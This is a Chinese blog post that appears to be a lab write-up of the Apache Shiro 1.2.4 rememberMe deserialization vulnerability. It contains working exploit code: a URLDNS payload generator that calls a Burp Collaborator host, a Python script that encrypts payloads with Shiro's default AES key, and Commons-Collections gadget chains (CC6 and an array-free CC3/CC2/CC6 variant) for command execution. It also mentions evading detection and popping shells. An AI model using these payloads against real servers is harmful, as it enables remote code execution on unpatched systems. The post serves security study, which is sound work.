Shiro反序列化
Shiro反序列化
由于对idea的几个配置操作不太熟悉在搭环境时吃了不少苦
环境搭建
首先在github下载shiro1.2.4的包,在idea中打开,配置tomcat服务器,大致流程按照这个博主的
https://www.cnblogs.com/h0cksr/p/16189761.html
此外补充几个点
-
原博主也记录了jdk1.8会更好,我一开始用的jdk18没能成功,但也是因为其他几个原因
-
tomcat10由于某些组件版本更新会报错,改用tomcat9
-
这点就比较蠢了。。要添加jstl版本的是sample.web目录下的pom.xml而不是其他位置的
-
如果按原博主docker起环境抓包看不见cookie,也不知道为什么
原理
shiro登陆时提供rememberme的功能,以cookie的方式实现
跟进idea里的源码可发现shiro内生成cookie的方式是将认证信息序列化,然后AES加密,最后base64编码。一路找下去可以找到AES的默认密钥。此外还可以得知加密方式是CBC,而且初始向量也是可以人为控制的
反向也是一样的,这样就可以通过常见的反序列化链来打,如cc之类的(但shiro其实并没有引入cc,不能直接用)
利用
URLDNS
java生成urldns
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, Integer> hashmap = new HashMap<>();
URL url=new URL("http://g7o3g5tpn1wwzwxagizfol6pyg46sv.burpcollaborator.net");
Class c =url.getClass();
Field hashCodeField = c.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url,1234);
hashmap.put(url,1);
hashCodeField.set(url,-1);
serialize(hashmap);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("urldns.bin"));
oos.writeObject(obj);
}
python实现AES加密
from Crypto.Cipher import AES
import base64,uuid
key = 'kPH+bIxk5D2deZiIxcaaaA=='
def getFile(filename):
with open(filename,'rb') as f:
data = f.read()
return data
def encode(target):
iv = uuid.uuid4().bytes #用好看的方式随机生成16字节
# iv = bytes('1111111111111111',encoding='utf-8')
realkey = base64.b64decode(key) #解密key
mode = AES.MODE_CBC
pad = lambda s: s + ((16 - len(s) % 16) * chr(16 - len(s) % 16)).encode() #CBC模式要求明文长度要是16的倍数,位数不足16位的添加字节补充
resultAES = AES.new(realkey,mode,iv)
nice = resultAES.encrypt(pad(target))
nice = iv + nice
nice = base64.b64encode(nice)
print("加密目标:\n" + str(target) + "\n\n加密结果:\n" + nice.decode("utf-8") + "\n")
encode(getFile("urldns.bin"))
修改rememberme的值,注意要先删除JSESSIONID,不然shiro会优先读取JSESSIONID判断是否是用户
成功触发dns解析(我不明白为什么是4个)
CC6
shiro本体并不会引入cc,测试时需要自己引入依赖
public class CC6test {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//目标是触发LazyMap的get()
HashMap<Object, Object> map =new HashMap();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));//随便放个没用的transformer进去
//TiedMapEntry的hashCode()方法会简间接调用get()
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
//HashMap的readObject()方法会调用hash(),进而调用hashCode()
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");//但为了赋值我们还需要put一下,而HashMap的put方法会间接触发tiedMapEntry的hashCode(),然后触发整条连
lazyMap.remove("aaa");//整条链中包括LazyMap的get()方法,为了消除正向序列化时的影响这里remove("aaa")
//lazyMap.clear();
//等到put完了再通过反射修改
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
// serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois =new ObjectInputStream(new FileInputStream(Filename));
Object obj =ois.readObject();
return obj;
}
}
直接用原来的cc6是打不通的,因为再shiro中并没有直接调用原生的readObject,而是调用的ClassResolvingObjectInputStream
类中的方法
在这个类中重写了resolveClass
方法,resolveClass
是反序列化时一定会调用的方法,导致在调用同名方法时对传入的对象进行了一些特别处理,而ClassUtils
无法加载数组类,导致cc6中的Transformer
数组不能正常解析
改进后没有数组的cc链
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
//CC3
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");//name为空会在getTransletInstance返回null
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");//bytecodes为空会在defineTransletClasses抛出异常
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("Test01.class"));
byte[][] codes ={code};
bytecodesField.set(templates,codes);
//CC2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
//CC6
//目标是触发LazyMap的get()
HashMap<Object, Object> map =new HashMap();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));//随便放个没用的transformer进去
//TiedMapEntry的hashCode()方法会简间接调用get()
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
//HashMap的readObject()方法会调用hash(),进而调用hashCode()
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");//但为了赋值我们还需要put一下,而HashMap的put方法会间接触发tiedMapEntry的hashCode(),然后触发整条连
lazyMap.remove(templates);//整条链中包括LazyMap的get()方法,为了消除正向序列化时的影响这里remove("aaa")
//lazyMap.clear();
//等到put完了再通过反射修改
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, invokerTransformer);
// serialize(map2);
unserialize("ser.bin");
}
理论上而言将得到的加密的cookie传入就可以弹出计算器,但不知为何我这里没有反应。此外还有一些更深入的利用点,以后再找时间补充
讨论
shiro反序列化漏洞由于会对序列化的对象先AES加密再base64,所以可以躲过部分依靠针对base64后的输入的特征检测(反序列化对象似乎有特征头)
毫无实践经验的感觉shiro在渗透时用的还是挺广的,化身脚本小子试了几个shiro利用工具感觉还是shiro-1.2.4-rce最好用,靶场起的开头的docker
作者的描述其实很少,翻了下python脚本跟上面的流程一样,从yeso里得到payload编码base64放进remmenberMe的cookie里然后request.get(所以为什么自己试的时候没成,估计还是环境没配好,用这个脚本也没扫出来)。后面也没什么好说的,因为单纯的shiro反序列化没回显所以要弹shell,输入的命令都是base64编码的,执行时再解码绕过点检测。基于延时应该是靠盲打cc链之类的命令执行实现的,所以泛用性也有一定限制
shiro <= 1.2.4 反序列化远程命令执行利用脚本 使用延时判断key和gadget,即使目标不出网也可以检测是否存在漏洞 python脚本需要调用ysoserial-sleep.jar,ysoserial-sleep.jar文件并不是原版的,增加了延时命令功能,故不要使用原版ysoserial,否则将无法检测
关于shiro检测这里还给出了一种方法,基于这个方法的burp插件。
参考
https://www.cnblogs.com/h0cksr/p/16189761.html
BV1iF411b7bD
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析